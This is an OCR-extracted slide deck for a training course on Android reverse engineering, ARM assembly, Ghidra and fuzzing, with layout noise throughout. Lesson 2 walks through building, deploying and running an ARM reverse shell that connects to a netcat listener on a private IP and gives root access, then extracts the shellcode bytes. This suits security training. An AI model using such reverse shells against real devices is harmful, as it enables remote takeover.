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Intro Training | Why this course

 Finding bugs is profitable
o www.zerodium.com

e Android Apps are vulnerable
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Intro Training | Some examples

e WhatsApp image parsing
o https://awakened1712.github.io/hacking/hacking-whatsapp-gif-rce/

 WhatsApp VolP Stack
o https://blog.zimperium.com/whatsapp-buffer-overflow-vulnerability-under-the-scope/

» Bluefrag

o https://insinuator.net/2020/04/cve-2020-0022-an-android-8-0-9-0-bluetooth-zero-click-rce-
bluefrag/

e |nstagram

o https://research.checkpoint.com/2020/instagram rce-code-execution-vulnerability-in-instagram-
app-for-android-and-ios/



https://awakened1712.github.io/hacking/hacking-whatsapp-gif-rce/
https://blog.zimperium.com/whatsapp-buffer-overflow-vulnerability-under-the-scope/
https://insinuator.net/2020/04/cve-2020-0022-an-android-8-0-9-0-bluetooth-zero-click-rce-bluefrag/
https://research.checkpoint.com/2020/instagram_rce-code-execution-vulnerability-in-instagram-app-for-android-and-ios/

Introduction Training | What you will learn

e Doing reverse engineering
* Vulnerability research

e Patching fuzzers

e Creating fuzzing harnesses
e Analyze crashes

» Build reliable exploits



Introduction

e Introduction into Android Security
e Introduction into ARM assembly
e Reverse Engineering Android Native Components

Android Reverse Engineering and Fuzzing
Fuzzing and Crash Analysis



Training Outline - Reverse Engineering and Fuzzing

Lesson 1: Introduction into Android Security Internals
o Introduction into Android Operating System

Lesson 2: Introduction into ARM assembly
o Introduction into ARM Architecture and memory management

Lesson 3: Reverse Engineering Android Native Components
o Introduction into Reverse Engineering using Ghidra

Lesson 4: Fuzzing and Crash Analysis
= Writing fuzzing harnesses and learning different fuzzing techniques



Lesson 1: Introduction into Android Security

e Android Architecture
e Security Model

e Android Sandbox

e Permission

e Binder IPC

e SELinux

 Verified boot



Lesson 1: Introduction into Android Security | Android Architecture

e Linux Kernel

e Native Userspace

e Dalvik VM

e Java Runtime Libraries

APPLICATIONS

ANDROID

e System Services FRAMEWORK

o Inter-Process Communication NATIVE LIBRARIES
e Android Framework Libraries CORE LIBRARIES -
) ) DALVIK VM
* Applications
o User-Installed Apps

LINUX
KERNEL

https://source.android.com/security/



https://source.android.com/security/

Lesson 1: Introduction into Android Security | Security Model

e Application Sandbox

e Permissions

e IPC

e Code Signing and Platform Keys
e SELinux



Lesson 1: Introduction into Android Security | Android Sandbox

Application Sandbox

o /data/data/package-name
Linux User based protection
App Resources

ID (UID)

Seccomp-bpf

SELinux extra enforcing

File system applies WAX

o Libs —R-E

= Other — RW-

Resources

o Linux User Based Protection

Interaction with services etc
o Android Permission

Sandbox Escapes

1|generic:/data/data/com.example.mynativetest $ ./reverse_shell
/system/bin/sh: <stdin>[5]: ./reverse_shell: Permission denied
1|generic:/data/data/com.example.mynativetest $

07-20 18:39:52.315 21334 21334 W sh : type=1400 audit(0.0:3372): avc: { open } for path="/data/data/com.example.mynativetest/reverse_shell"” dev="v
dc" ino=14755 scontext=u:r:untrusted app:s0:c512,c768 tcontext=u:object r:app data file:s® tclass=file permissive=0

http://androidxref.com/7.1.1 r6/xref/system/core/include/private/android filesystem config.h



http://androidxref.com/7.1.1_r6/xref/system/core/include/private/android_filesystem_config.h

Lesson 1: Introduction into Android Security | Android Sandbox

» Sandbox Escape Routes

u]

Kernel vulnerabilities

Services
IPC
Drivers

Some examples
https://blog.flanker017.me/galaxy-leapfrogging-

pwhing-the-galaxy-s8/

https://blog.flanker017.me/examining-and-
exploiting-android-vendor-binder-services-

partl/

Example Samsung JACK service
https://www.exploit-db.com/exploits/40066

generic:/data/data/com.example.mynativetest $ service list
Found 117 services:

VWeENOCOSTWLWUN P

telecom: [com.android.internal.telecom.ITelecomService]
carrier_config: [com.android.internal.telephony.ICarrierConfiglLoader]
phone: [com.android.internal.telephony.ITelephony]

isms: [com.android.internal.telephony.ISms]

iphonesubinfo: [com.android.internal.telephony.IPhoneSubInfo]
simphonebook: [com.android.internal.telephony.IIccPhoneBook]

isub: [com.android.internal.telephony.ISub]

contexthub_service: [android.hardware.location.IContextHubService]
dns_listener: []

connmetrics: [android.net.IIpConnectivityMetrics]
connectivity_metrics_logger: [android.net.IConnectivityMetricsLogger]
imms: [com.android.internal.telephony.IMms]

media_projection: [android.media.projection.IMediaProjectionManager]
launcherapps: [android.content.pm.ILauncherApps]

shortcut: [android.content.pm.IShortcutServicel]

fingerprint: [android.hardware.fingerprint.IFingerprintService]
trust: [android.app.trust.ITrustManager]

media_router: [android.media.IMediaRouterService]

media_session: [android.media.session.ISessionManager]

restrictions: [android.content.IRestrictionsManager]

print: [android.print.IPrintManager]

graphicsstats: [android.view.IGraphicsStats]

assetatlas: [android.view.IAssetAtlas]

dreams: [android.service.dreams.IDreamManager]

commontime_management: []

network_time_update_service: []

samplingprofiler: []

diskstats: []

voiceinteraction: [com.android.internal.app.IVoiceInteractionManagerServicel]
appwidget: [com.android.internal.appwidget.IAppWidgetService]



https://blog.flanker017.me/galaxy-leapfrogging-pwning-the-galaxy-s8/
https://blog.flanker017.me/examining-and-exploiting-android-vendor-binder-services-part1/
https://www.exploit-db.com/exploits/40066

Lesson 1: Introduction into Android Security | Permissions

([ ] Perm iSSion *New Project - jadx-gui - o @

File View Navigation Tools Help

e API Levels ERRBEFIACOQRE L

v 23 com.example-stack.apk

. . v @ Source code AP APK signature X | [E AndroidManifest.xml X
» 8 android.support.vé4 k?xml version="1.0" encoding="utf-8"?>
® D a n ge ro u S Pe rm ISS I O n » # androidx 2|<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="1" android:versionName="1.0" android:co
» # com.example.mynativetest 7 <uses-sdk android:minSdkVersion="15" android:targetSdkVersion="29"/>
v (& Resources 11 <uses-permission android:name="android.permission.INTERNET" />
» & lib 13 <application android:theme="@style/AppTheme" android:label="@string/app_name" android:icon="@mipmap/ic_launcher" android:debu
» I META-INF 23 <activity android:name="com.example.mynativetest.MainActivity">
» B res 24 <intent-filter>

B AndroidManifest .xml 25 <action android:name="android.intent.action.MAIN" />
. 27

2 —n "
B classes .dex <category android:name="android.intent.category.LAUNCHER" />

24 </intent-filter>
» B resources.arsc 23 </activity>
4P APK signature 13 </application>

2[</manifest>

https://developer.android.com/reference/android/Manifest.permission



https://developer.android.com/reference/android/Manifest.permission

Lesson 1: Introduction into Android Security | Permissions

more /system/etc/permissions/platform.xml

Permissions generic:/ # more /system/etc/permissions/platform.xml

<permission name="android.permission.BLUETOOTH_ADMIN" >

e The relationship between group ID’s and e b
permissions are defined in “platform.xml”

<permission name="android.permission.BLUETOOTH" >
<group gid="net_bt" />

</permission>
. . . < issi ="android. ission.BLUETOOTH_STACK" >
» Android app can have multiple groups which [N ERaES S -
. . . . <group gid="wakelock" />
will give them the permissions </permission>

<permission name="android.permission.NET_TUNNELING" >
<group gid="vpn" />
</permission>

e Some groups are assigned to specific OS
Services that can be used by the application

generic:/ # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(a

e This is all handled by the Kernel db).l(:)ls(sdcard_rw).1028(sdcard_r).3001(net_bt_admin),3002(net_bt),
3003(inet),3006(net bw stats),3009(readproc) context=u:r:su:s0




Lesson 1: Introduction into Android Security | Binder IPC

APPLICATION FRAMEWORK

e Binder IPC
e Based on Openbinder
o https://en.wikipedia.org/wiki/OpenBinder)

BINDER IPC PROXIES

ANDROID SYSTEM SERVICES

MEDIA SERVER SYSTEM SERVER

e Binder kernel driver
o /dev/binder
e Context manager
e Binder Service
e Binder Client
e Binder Token
e Transactions
s Marshalling transaction parcels

AudioFlinger

Camera Service

MediaPlayer Service

Other Media Services

HAL

Search Service

Activity Manager

Window Manager

Other System Services
& Managers

Camera HAL Audio HAL Graphics HAL Other HALs

Camera Driver

LINUX KERNEL

Audio Driver

(ALSA, OSS, etc) | DisplayDrivers | 1 oihar privers

https://source.android.com/devices/architecture



https://en.wikipedia.org/wiki/OpenBinder).
https://source.android.com/devices/architecture

Lesson 1: Introduction into Android Security | Binder IPC

e Communication not directly
e Processes communicate
= Binder driver
* Binder Protocol: low-level ioctl-based protocol
= Shared Memory
* Read Only for Apps
* Kernel can write to memory



Lesson 1: Introduction into Android Security | SELinux

e SELinux - Security Enhanced Linux

- $ adb pull /sys/fs/selinux/policy /tmp
° DeVElOped by NSA /sys/fs/selinux/policy: 1 file pulled, 0 skipped. 1.0 MB/s (182834 bytes in 0.166s)

° Mandatory Access Contr0| - MAC Statistics for policy file: policy : S

e Security policy enforcement

Policy Version:
Target Policy:

30 (MLS enabled)
selinux

. . . . Handle unknown classes: deny
e Android SELinux in enforcing mode Classes: 63  Pernissions:
. Sensitivities: 1 Categories:
° Domaln Types: 639 Attributes: 29
Users: Roles: 2
Booleans: Cond. Expr.: (]
Allow: Neverallow: 0
° qu()(jfgs Auditallow: Dontaudit: 211

o Permissive mode, in which permission denials
are logged but not enforced.

o Enforcing mode, in which permissions denials
are both logged and enforced.

e https://pierrchen.blogspot.com/2017/02/androi

d-security-walk-through-of-selinux.html?m=1

Type_trans:
Type_member:
Role allow:
Constraints:
MLS Constrain:
Permissives:
Defaults:
Allowxperm:
Auditallowxperm:
Initial SIDs:
Genfscon:
Netifcon:

Type_change:
Range_trans:
Role_trans:
Validatetrans:
MLS val. Tran:
Polcap:
Typebounds:

Neverallowxperm:

Dontauditxperm:
Fs_use:
Portcon:
Nodecon:

(]

[y
OO0 OO ONOOOO



https://pierrchen.blogspot.com/2017/02/android-security-walk-through-of-selinux.html?m=1

Lesson 1: Introduction into Android Security | SELinux

e SELinux - Security Enhanced Linux

g App domains : $ seinfo policy -aappdomain -x
Type Attributes: 1
ttribut domain;
= bluetooth B e
= jsolated_app “solatediape
o nfc platform_app
5 | f priv_app
platrorm_app =
o i shared_relro
pr;‘{—app SheLl
= radio —
system_app
= shared_relro (RtiuSEadianD
= shell
0 SU

= system_app
= untrusted app

https://android.googlesource.com/platform/external/sepolicy/+/57531cacb40682be4b1189¢c721fd1e7f25bf3786/



https://android.googlesource.com/platform/external/sepolicy/+/57531cacb40682be4b1189c721fd1e7f25bf3786/

Lesson 1: Introduction into Android Security | Verified boot

No

e Verified Boot

Warn about 0S
not being
verified.

Valid OS found? Yes

e Trusted Sources (OEM) il >

Dismiss after 10 .
of trust) e :
« DM-Verity ! o ;
* Preve ntS bOOtI ng On COTTU ptIOn . Is device Updat:z rc;!lback W s deviceineio
— S
* Role back protection .
l Yes No . Yes No
Valid OS found? Warn about
Accept only Was the root of .
embeddedor g trustsetbythe o s Digrt:wsi;zzfgﬁ . ShO:\(I:rr::nelo
uservzsfztttsjtite root Yes user? Yes F———
e . \

NO User YeS

( | ’(— confirmation | garg Boot OS
within 30 sec?

Cannot boot
Recovery needed

A

https://source.android.com/security/verifiedboot/boot-flow



https://source.android.com/security/verifiedboot/boot-flow

Lesson 1: introduction into Android Security | OWASP Mobile Security Project

« OWASP Mobile Security Project

OWASP Mobile Security Testing Guide

e https://mobile-security.gitbook.io/mobile-
security-testing-guide/

OUWRSP

Mobile Security Project

OWASP Mobile Application Security Verification
Standard

https://owasp.org/www-project-mobile-top-10/


https://www.owasp.org/mstg
https://mobile-security.gitbook.io/mobile-security-testing-guide/
https://www.owasp.org/mstg

Lesson 1: introduction into Android Security | OWASP Mobile Security Project

OWASP Mobile Security Project
M1: Improper Platform Usage
« OWASP Mobile Top 10 M2: Insecure Data Storage
M3: Insecure Communication

M4: Insecure Authentication

M5: Insufficient Cryptography

M6: Insecure Authorization
M7: Client Code Quality
M8: Code Tampering

M9: Reverse Engineering

M10: Extraneous Functionality



https://owasp.org/www-project-mobile-top-10/2016-risks/m1-improper-platform-usage
https://owasp.org/www-project-mobile-top-10/2016-risks/m2-insecure-data-storage
https://owasp.org/www-project-mobile-top-10/2016-risks/m3-insecure-communication
https://owasp.org/www-project-mobile-top-10/2016-risks/m4-insecure-authentication
https://owasp.org/www-project-mobile-top-10/2016-risks/m5-insufficient-cryptography
https://owasp.org/www-project-mobile-top-10/2016-risks/m6-insecure-authorization
https://owasp.org/www-project-mobile-top-10/2016-risks/m7-client-code-quality
https://owasp.org/www-project-mobile-top-10/2016-risks/m8-code-tampering
https://owasp.org/www-project-mobile-top-10/2016-risks/m9-reverse-engineering
https://owasp.org/www-project-mobile-top-10/2016-risks/m10-extraneous-functionality

Lesson 3: Android Security | Wrap Up

e Summarise important points.
e Allow time for questions.

e Demo & Labs

e References and further reading

https://elinux.org/Android Mainlining Project
https://medium.com/@pkurumbudel/android-system-ipc-mechanisms-3d3b46affa3c
https://www.kernel.org/doc/html/v4.16/userspace-api/seccomp filter.html
https://programmersought.com/article/89631769540/
https://securitylab.github.com/research/one day short of a fullchain android/

 https://pierrchen.blogspot.com/2017/02/android-security-walk-through-of-
selinux.html?m=1



https://elinux.org/Android_Mainlining_Project
https://medium.com/@pkurumbudel/android-system-ipc-mechanisms-3d3b46affa3c
https://www.kernel.org/doc/html/v4.16/userspace-api/seccomp_filter.html
https://programmersought.com/article/89631769540/
https://securitylab.github.com/research/one_day_short_of_a_fullchain_android/
https://pierrchen.blogspot.com/2017/02/android-security-walk-through-of-selinux.html?m=1

Lesson 2: Introduction into ARM assembly

 Introduction into ARM

e ARM Registers

e ARMvV7 and ARM64 Instruction set
« ARM Stack

« ARM Calling convention

e ARM memory management

e Branching and condition codes

e Writing Assembly code



Lesson 2: Introduction into ARM assembly

e RISC — Reduced Instruction Set — ARM
= |oT
o Mobile Devices

e CISC - Complex Instruction Set Computing
= Laptops
= Desktops

o Servers



Lesson 2: Introduction into ARM assembly

e ARM Assembly Language

Offset Bytecode Instruction Operands

S

00019290 80 b5 push W& (a0 )

00019292 6T 46 mov r7,sp

00019294 8c b0 sub sp,#0x30

00019296 0b 90 str ro, [sp,#local_c]

00019298 0a 91 str ri, [sp,#local_10]

0001929a 11 49 ldr r1, [DAT_000192e0]

0001929¢c 79 44 add ri=>s_testing_00026547,pc 1001000101001000100101
0001929 07 a8 add ro,sp,#0x1c

00019220 04 90 str ro, [sp,#local_28]

000192a2 ff f7 2e ec blx basic_string<decltype(nullptr)>
000192a6 0b 98 ldr ro, [sp,#local_c]

000192a8 04 99 ldr ri, [sp,#local_28]

000192aa 03 90 str rd, [sp,#local_2c]

000192ac 08 46 mov re,ri



Lesson 2: Introduction into ARM assembly

e ARM Assembly Language

THUMB Mode ARM Mode

00019290 push {r7, Ir } 000E582b8 07 cO stmia re,{ r0, rl, r2 }
00019292 mov r7,sp 000582ba alb el b LAB_000585fe
e i Lo 000582bc 14 70 strb r4, [r2,#0x0]
bt i e 000582be 9f e5 b LAB_00057200
00019292 ldr -1, [DAT_000192¢0] 000582c0)00 00 00 ef|  swi oxo
0001929c¢ add ri=>s_testing_00026547,pc 000582c4|0c 70 a0 el cpy r7,rl2
0001929¢e add ro,sp,#0x1c 000582c8|01 Oa 70 e3 cmn ro,#0x1000
00019220 str ro, [sp,#local_28] 000582cc|le ff 2f 91 bx1s 1r
000192a2 ff f7 2e ec blx t?asif_string<decltype(nullptr)> 000582d0|00 00 60 e2 rsh ro, ro, #0x0
288135:3 g;’ gg {g: :Oft:tgzgt—gél 000582d4|bc a8 00 ea b LAB_000825cc
000192aa 03 90 str ro, [sp,#local_2c] 000582d8 7d undefinedl 70Dh
000192ac 08 46 mov ro, rl 000582d9 00 77 och

000582da 00 00O mov ro, ro

10010001010010001 10010001010010001 1001000101001000110010001010010001 1001000101001000110010001010010001

16-bit 32-bit



Lesson 2: introduction into ARM assembly — Registers

armv?7
e Registers RO-R7 - R1
= Accessible to all instructions R2
. Registers R8-R12 y
s Accessible to a few 16-bit instructions RS
> Accessible to all 32bit instructions General-purpose registers —=—" ij
e R11 (FP)— Frame Pointer RS
e R13 (SP)— Stack Pointer RS
« R14 (LR) - Link Register )
e R15 (PC) — Program Counter T R12
e XPSR —Program Status Register) R13 (SP)
= Not Explicitly accessible R14 (LR)
= Saved to the stack on an exception R15 (PC)

https://developer.arm.com/documentation/ddi0595/latest PSR



https://developer.arm.com/documentation/ddi0595/latest

Lesson 2: introduction into ARM assembly - ARMv7 and ARM64 Instruction sets

e Memory Operations e Data Operations
= Load = Arithmetic
o Store = Bit Operations
opcode operands function opcode operands function
Op{COhd}{thE} Rd, [Rn, OpZ] Arithmetic Status ops
adc Rd, Rn, Op2 Rd=Rn+0p2+C cmp Rn, Op2 Rn - Op2
add Rd, Rn, Op2 Rd =Rn + Op2 RN Op2 Rn + 002
+
Id 1 rsb Rd, Rn, Op2 Rd = 0p2 - Rn emn n 2P n+ep
r rOI [r ] rsc Rd, Rn, Op2 Rd=0p2-Rn-IC teq Rn, Op2 Rn " Op2
sbc Rd, Rn, Op2 Rd=Rn-0p2-IC
tst Rn, Op2 Rn & Op2
Str rO, [rl] sub Rd, Rn, Op2 Rd =Rn - 0p2 * n =P " P
Logical ops Multiplies
and Rd, Rn, Op2 Rd =Rn & Op2 mla Rd, Rm, Rs, Rn Rd =Rm * Rs + Rn
bic Rd, Rn, Op2 Rd =Rn &~ Op2 mul Rd, Rm, Rs Rd =Rm * Rs
eor Rd, Rn, Op2 Rd =Rn » Op2 smlal RdLo, RdHi, Rm, Rs RdHiLo += Rm * Rs
mov Rd, Op2 Rd = 0p2 smull RdLo, RdHi, Rm, Rs RdHiLo = Rm * Rs
mvn Rd, Op2 Rd =~0p2 umlal RdLo, RdHi, Rm, Rs RdHiLo += Rm * Rs
orr Rd, Rn, Op2 Rd =Rn | Op2 umull RdLo, RdHi, Rm, Rs RdHiLo = Rm * Rs

All instructions are conditional



Lesson 2: introduction into ARM assembly - Stack

e LIFO
o Last in First Out

o Stack Pointer (SP) Stack Pointer (SP)
= Points to the top of the stack

e Stack Operations
= Push
= Pop




Lesson 2: introduction into ARM assembly — Calling Conventions

e 32-bit ARM Calling Convention * 64-bit ARM Calling Convention
e rO-r3 first four parameters e X0-x7 are first parameters
 More parameter pushed on stack  More parameters pushed on stack

e rO contains the return value e X0 contains the return value



Lesson 2: introduction into ARM assembly — System Call

o System call

« Arguments are passed through registers fuzzing-android@fuzzingandroid-VirtualB...
e Syscall numberinr7 GNU_nano 4.8

e Calling syscall using SVC or SWI _start

# Calling exit(1)
mov r7, #1 # Move 1 into register r7
swi 0 # call syscall

https://android.googlesource.com/platform/bionic/+/cd58770/libc/SYSCALLS.TXT



https://android.googlesource.com/platform/bionic/+/cd58770/libc/SYSCALLS.TXT

Lesson 2: introduction into ARM assembly — Branching and condition codes

» Status flags and condition codes

. _ Affix HET Description
o Zero (Z). Result of operation =0 ” - roro (EQual 160
ne Z=0 Not zero (Not Equal to 0)
cs/hs C=1 Carry Set / unsigned Higher or Same
a Negative (N)' Result was negat|ve cc’/ lo C=_0 Carryf:lear/unsigned LOwer
mi N=1 Negative (MInus)
pl N=0 Positive or zero (PLus)
S V=1 Sign overflow (oVerflow Set)
. . . pe oy o v V= No sign overflow (oVerflow Clear
= Carry bit set (C). If the ‘most’ significant bit is '  ermo o ! !
Set Is C=0]|z=1 Unsigned Lower or Same
ge N=V Signed Greater or Equal
It Nl=V Signed Less Than
gt 7=0 & N=V Signed Greater Than
le Z=1|NI=V Signed Less or Equal

= Arithmetic overflow (V). Overflow with a _ ALways (default)
adding values v : NeVer




Lesson 2: introduction into ARM assembly — Branching and condition codes

e Branches
= B Branche to address e Beq Branche Equal
= BL Branche with link to address e Bne Branche Not Equal
» Bge Branche Greater Than or Equal
= BX Branche and switch instruction set ARM/THUMB e Blt Branche Less Than
= BLX Branche with link and switch instruction set . Bgt Branche Greater Than

» Ble Brance Less or Equal



Lesson 2: introduction into ARM assembly — Writing Assembly code

e Explanation
_start
e Two sections e
o text ri, =message
* Not mutable — contains code r2, =len
r7, #4
o .data

* Mutable — contains variables

System call — r7 contains the syscall
Syscall - SWI

.asciz "hello world\n"
Special calculation on line 16 .-message

u] -

https://urish.medium.com/writing-your-first-android-app-in-assembly-30e8e0f8c3fe



https://urish.medium.com/writing-your-first-android-app-in-assembly-30e8e0f8c3fe

Lesson 2: introduction into ARM assembly — Writing Assembly code

« Compile using Android Toolchain arm-linux-androideabi-as hello-arm.s -o hello-arm.o

fuzzing-android@fuzzingandroid-VirtualB... fuzzing-android@fuzzin d-VirtualB... fuzzing-android@fuzzingandroid-VirtualB.

rm-linux-androideabi-as hello-arm.s -o hello-arm.o

d hello-arm.o
$

fuzzing-android@fuzzingandroid-VirtualB...

$ adb push hello-arm /data/local/tmp

ello-arm: 1 file pushed, 0 skipped. 8.4 MB/s (900 bytes in 0.000s)

fuzzing-android@fuzzingandroid-VirtualB...

S adb shell
generic:/ $ cd /data/local/tmp
generic:/data/local/tmp $ chmod u+x hello-arm
generic:/data/local/tmp $ ./hello-arm

13 |generic:/data/local/tmp $ I




Lesson 2: introduction into ARM assembly — Writing Assembly code

, , , _ examples/assembly/reverse_shell.s
e Compile using Android Toolchain

e Compiling Shellcode

e There are few modifications

192,168,192,31

https://azeria-labs.com/tcp-reverse-shell-in-assembly-arm-32-bit/



https://azeria-labs.com/tcp-reverse-shell-in-assembly-arm-32-bit/

Lesson 2: introduction into ARM assembly — Writing Assembly code

examples/assembly/reverse_shell.s

Compile using Android Toolchain

Compiling Shellcode

There are few modifications

We have a longer string 14 characters

sub rl rl
strb r2, [ro, #14]
v 7, ®1

Mo ’
svc  #1

192,168,192,31

https://azeria-labs.com/tcp-reverse-shell-in-assembly-arm-32-bit/



https://azeria-labs.com/tcp-reverse-shell-in-assembly-arm-32-bit/

Lesson 2: introduction into ARM assembly — Writing Assembly code

Compile using Android Toolchain

arm-linux-androideabi-as reverse_shell.s -o reverse_shell.o
arm-linux-androideabi-ld.bfd -N reverse_shell.o -o reverse_shell
adb push reverse_shell /data/local/tmp

Complllng Shellcode $ arm-linux-androideabi-as reverse_shell.s -o reverse_shell.o

$ arm-linux-androideabi-1d.bfd reverse_shell.o -o reverse_shell
$ adb push reverse_shell /data/local/tmp

S adb shell

generic:/ # cd /data/local/tmp
generic:/data/local/tmp # chmod +x reverse_shell
generic:/data/local/tmp # ./reverse_shell

Testing reverse_shell

bash-3.2% nc -lv 4444
id
uid=8(root) gid=@(root) groups=8(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin)
,3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:su:s@
. . ls

Setting up listener for revers shell He110INT . dex
gdbserver
libnative-lib.so
reverse_shell
sbxescape




Lesson 2: introduction into ARM assembly — Writing Assembly code

e Compile using Android Toolchain

* EXtraCtmg shellcode arm-linux-androideabi-objcopy -O binary reverse_shell reverse_shell.bin

hexdump -v -e "\\""x" 1/1 "%02x" """ reverse_shell.bin > shellcode.txt

S arm‘linux—androideabi-objcopy -0 binary reverse_shell reverse_shell.bin
$ hexdump -v -e ""\\""x" 1/1 "%02x" ""' reverse_shell.bin > shellcode. txt

S more shellcode.txt
-1\x02\x20\x01\x21\x92\x1a\xc8\x27\xS1\x37\x01\xdf\x04\x1c\x®a\xa1\x4a\x70\x10\x22\x02\x37\x01\xdf\x3f\x27\x20\x1c




Lesson 2: Wrap-up

e Summarise important points.

» References and further reading
o https://www.coranac.com/tonc/text/asm.htm
o https://azeria-labs.com/writing-arm-assembly-part-1/
o https://azeria-labs.com/tcp-reverse-shell-in-assembly-arm-32-bit/
o https://developer.arm.com/documentation/ddi0595/latest



https://azeria-labs.com/writing-arm-assembly-part-1/
https://azeria-labs.com/writing-arm-assembly-part-1/
https://azeria-labs.com/tcp-reverse-shell-in-assembly-arm-32-bit/
https://developer.arm.com/documentation/ddi0595/latest

Lesson 3: Reverse Engineering Android Native Components

 Introduction into Ghidra

e Reverse Engineering Android Native Libraries

* Finding vulnerabilities with reverse engineering
e Finding functions for fuzz harnessing



Lesson 3: Reverse Engineering Android Native
Components |Introduction into Ghidra

e Ghidra Reverse Engineer tool
e De-compiler

e Disassembler

e Function call trees

e Function Graph

e Symbol tree

e Exported Functions

e Cross referencing

e Loading and running scripts
e Export code for harnessing




Lesson 3: Introduction into Ghidra | Ghidra Reverse

E n gi n ee r tOO | Supported Architecture
x86 16, 32 and 64 bit
e Tool created by NSA ARM and AARCHG4
. Free and Opensource PowerPC 32/64 and VLE
- MIPS 16/32/64
e |nitial Release, March 5, 2019 /32
] MicroMIPS
o Plugin development £

Java and DEX bytecode

PA-RISC
. PIC 12/16/17/18/24
e https://ghidra-sre.org/ SPARC 32/64
e https://eithub.com/NationalSecurityAgency/g CR16C
hidra 280
6502
. 8051
e Free online courses Iy
https://ghidra.re/courses/GhidraClass/ AVRS, AVR32

SuperH



https://ghidra-sre.org/
https://github.com/NationalSecurityAgency/ghidra
https://ghidra.re/courses/GhidraClass/
https://en.wikipedia.org/wiki/IA-32
https://en.wikipedia.org/wiki/X86_64

Lesson 3: Introduction into Ghidra | De-compiler

e Decompile to C/C++

e Java Classes

e Dex Classes

e Changing variable names
e Changing function names

0N WU & WN

Decompile: Java_com_example_mynativetest_Main vV % L B v X

undefined4
Java_com_example_mynativetest_MainActivity_leakMemory
(_INIEnv *param_1,undefined4 param_2,_jbyteArray *param_3)

_INIEnv *xthis;

char x__format;
undefined4 uVarl;
uchar uStack73;
undefined8 local_48;
undefined8 uStack6d;
undefined8 local_38;
undefined8 uStack4s;
undefined4 local_28;
undefined4 local_24;
basic_string<char,std--__ndkl--char_traits<char>,std--__ndkl--allocator<char>> abStack32 [12];
_JbyteArray xlocal_14;
undefined4 local_10;
_INIEnv xlocal_c;

local_14 param_3;
local_10 = param_2;
local_c = param_1;
FUN_000191c8(abStack32);
local_48 = 0;

uStack6d4 = 0;
local_24 = 0;
local_38 = 0;
uStack48 = 0;
local_28 = 0;
format = (char x)GetByteArrayElements(local_c, local_14,&uStack73);

printf("hello world");

printf("hello world");

printf("hello world");

snprintf((char *)&local_48,0x28, format);
assign(abStack32, (char *)&local_48);
printf("hello world");

printf("hello world");

printf("hello world");

this = local_c;

__format = (char *)FUN_00019236(abStack32);

uVarl = NewStringUTF(this,__format);




Lesson 3: Introduction into Ghidra | Disassembler

e Disassemble
o Compiler optimizations
e Difficult to read but more reliable

B Listing: libnative-lib.so i i |Q_ Bl @ El- X

*|ibnative-libso X

UUULIIUT UU U &7 10

00019472 00 98
00019474 02 b0
00019476 80 bd

undefined
undefined4

undefined4

undefined4

00019478 80 b5
0001947a 6T 46
0001947c 84 b0
0001947e 03 90
00019480 03 98
00019482 ff 7
00019486 02 90
AAATA488 AR 20

dd ff

UL TUlN DUULoTCY

dr this, [sp,#0x0]=>1ocal_10 al
add sp,#0x8

pop {r7, pc}

A A A Aottt
* FUNCTION
FoioeioioiooOCIOOCooIOoICiooaoiooioooeoeeaioioieioiooleioloioloisy
hindefined FUN_00019478()

assume LRset = 0x0

assume TMode = @x1

ro:1 <RETURN>
Stack[-0xc]:4 local_c XREI
Stack[-0x10]:4 local_10 XREI
Stack[-0x14]:4 local_14 XREI
FUN_00019478 XREF[1]:

push Al 1R

mov r7,sp

sub sp,#0x10

str ra, [sp,#local_c]

dr ra, [sp,#local_c]

bl FUN_00019440

str rd, [sp,#local_10]

mov ri . #0x0




Lesson 3: Introduction into Ghidra | Function call trees

e Function call trees
e Incoming and outgoing function call
e Traceback to original function

| -

06s [Bs [#R x

I Filter: 2 I

 Function Call Trees: FUN_00019478 - (libnative-lib.so)

Outgoing Calls
§ Outgoing References - FUN_00019478
» &) § FUN_00019440

Incoming Calls
¥ Incoming References - FUN_00019478
» (8 f FUN_000191c8

[ Filter: {2 |Filter:
00019478 FUN_00019478 push {7, Ir} [

@




Lesson 3: Introduction into Ghidra | Function Graph

[ JoX ] Function Graph [Ct : Androidl itation:/libnative-lib.so]

° G ra p h i Cal VieW Of method fBile :dvit-’Avnalls)isn Navigation Search Select Tools Help

B SE.-E$-Q- @BX

e Flows are shown in lines

 cci50c+ o cam_ rangl P

.
P |undefined Java_com_example_mynativetest_MainActivity_lea...
ery nandy ror patcning e 3

undefinedd Stack[-8xc]:4 local_c
undefinedd Stack[-0x10) :4 local_10
undefinedd Stack[-0x14]:4 local_14
undefinedd Stack[-8x24):4 local_24
undefinedd Stack [-0x28) :4 local_28
undefineds Stack(-0x38] :8 local_38
undefineds Stack [-0x48) :8 local_48
undefinedd Stack [-8x50)] :4 local_50
undefinedd Stack [-0x5c] :4 local_Sc
undefinedd Stack [-8x60)] :4 local_60
undefinedd Stack [-0x64] :4 local_64
undefinedd Stack[-0x68] :4 local_68
Java_com_example_m...
push { r7, 1r}

str r@, [sp,#local_c)
str r1,[sp,#local_10)
str r2,[sp,#local_14]
p,#0x48
bl  FUN_000191c8

mov
add
mov r2,rl
vst... {d16,d17}, [r2)=>local_48,r@
mov ro,#0x0

str s [r2,#0x@]=>1ocal_24

add r1,#0x10

vst... {d16,d17}, [r1]=>local_38
str re,[
Wr e,
Wr r1,[
sub.wr2,r7
blx GetByteArrayElements
str ro, [sp,#local_5c]

b LAB_00019120

100019120 - LAB 00019120 &'~ (] I
LAB_00019120

9120 dr @, [sp,#local_5c)

9122 str , [sp,#local_50) |
9124 dr » [DAT_000191b8 ] -
9126 add r@=>s_hello_world_0002653b... -
..9128 blx printf
«912¢ b LAB_0001912e ]

2e- LAB 000912 g - (] 3| (]
LAB_0001912¢ | |
01 dd. 0 IDAT 000101hA)




Lesson 3: Introduction into Ghidra | Symbol tree

e Symbol Tree l ARM.exidx ‘
o Using filters i
+ Exports  Program Tree x|

Imports

ports
| Java_com_example_mynativetest_MainActivity_leakMer}
Java_com_example_mynativetest_MainActivity_overFlo'
Java_com_example_mynativetest_MainActivity_stringFr
nctions

¥ Java_com_example_mynativetest_MainActivity_... -
¥ Java_com_example_mynativetest_MainActivity_leak|
¥ Java_com_example_mynativetest_MainActivity_over
¥ Java_com_example_mynativetest_MainActivity_strin

Filter: Jav x| 2




Lesson 3: Introduction into Ghidra | Exported Functions

ama Symbol Tree g B X
